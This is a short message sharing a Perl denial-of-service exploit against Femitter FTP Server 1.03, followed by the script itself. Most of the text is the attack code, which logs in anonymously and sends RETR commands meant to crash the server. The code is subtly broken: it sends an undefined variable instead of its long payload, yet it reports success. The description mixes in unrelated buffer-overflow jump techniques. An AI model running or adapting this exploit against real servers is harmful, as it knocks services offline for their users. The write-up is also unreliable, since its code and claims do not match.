CXSEC team, good morning.
How are you team?
I'm sharing the creation of an exploit to exploit a denial of service vulnerability in: Femitter FTP Server 1.03 - Denial of Service.
Have a great day and a great week.
Thanks very much.
Regards,
#!/usr/bin/perl
use Net::FTP;
# Exploit Title: Femitter FTP Server 1.03 - Denial of Service (DoS)
# Discovery by: Fernando Mengali
# Discovery Date: 08 january 2024
# Vendor Homepage: https://acritum.com/
# Download to demo: https://drive.google.com/file/d/1GBFmc7tMavA9mMoZPYVlUVUe62dGjBhF/view?usp=sharing
# Notification vendor: No reported
# Tested Version: Femitter FTP Server 1.03
# Tested on: Window XP Professional - Service Pack 2 and 3 - English
# Vulnerability Type: Denial of Service (DoS)
# Vídeo: https://drive.google.com/file/d/1n_WzyNiOwHRen60en5rh56Q4AyDfVbF_/view?usp=sharing
#1. Description
#His technique works fine against Windows XP Professional Service Pack 2 and 3 (English).
#For this exploit I have tried several strategies to increase reliability and performance:
#Jump to a static 'call esp'
#Backwards jump to code a known distance from the stack pointer.
#The server does not correctly handle the amount of data or bytes of the command RETR, resulting in memory corruption.
#When authenticating to the FTP server with a long RETR or a RETR with a large number of characters for the server to process, the server will crash as soon as it is received and processed, causing denial of service conditions.
#Successful exploitation of these issues allows remote attackers to crash the affected server, denying service to legitimate users.
#2. Proof of Concept - PoC
$sis="$^O";
if ($sis eq "windows"){
$cmd="cls";
} else {
$cmd="clear";
}
system("$cmd");
intro();
main();
print "[+] Exploiting... \n";
my $payload = "\x41\x2C\x41\x20\x42"x500;
my $ftp = Net::FTP->new($ip, Debug => 0) or die "Could not connect: $@";
my $sc= "A"x800;
$ftp->login("anon","anon") or die "Failed: " . $ftp->message;
$ftp->quot("RETR ".$c."\r\n") or die "Error: " . $ftp->message;
$ftp->quot("RETR ".$c."\r\n") or die "Error: " . $ftp->message;
$ftp->quit;
print "[+] Done - Exploited success!!!!!\n\n";
sub intro {
print "######################################################################\n";
print "# Femitter FTP Server 1.03 - Denial of Service #\n";
print "# #\n";
print "# Coded by Fernando Mengali #\n";
print "# #\n";
print "# e-mail: fernando.mengalli\@gmail.com #\n";
print "# #\n";
print "######################################################################\n";
}
sub main {
our ($ip, $port) = @ARGV;
unless (defined($ip) && defined($port)) {
print " \nUsage: $0 <ip> <port> \n";
exit(-1);
}
}
#3. Solution/ How to fix:
# This version product is deprecated
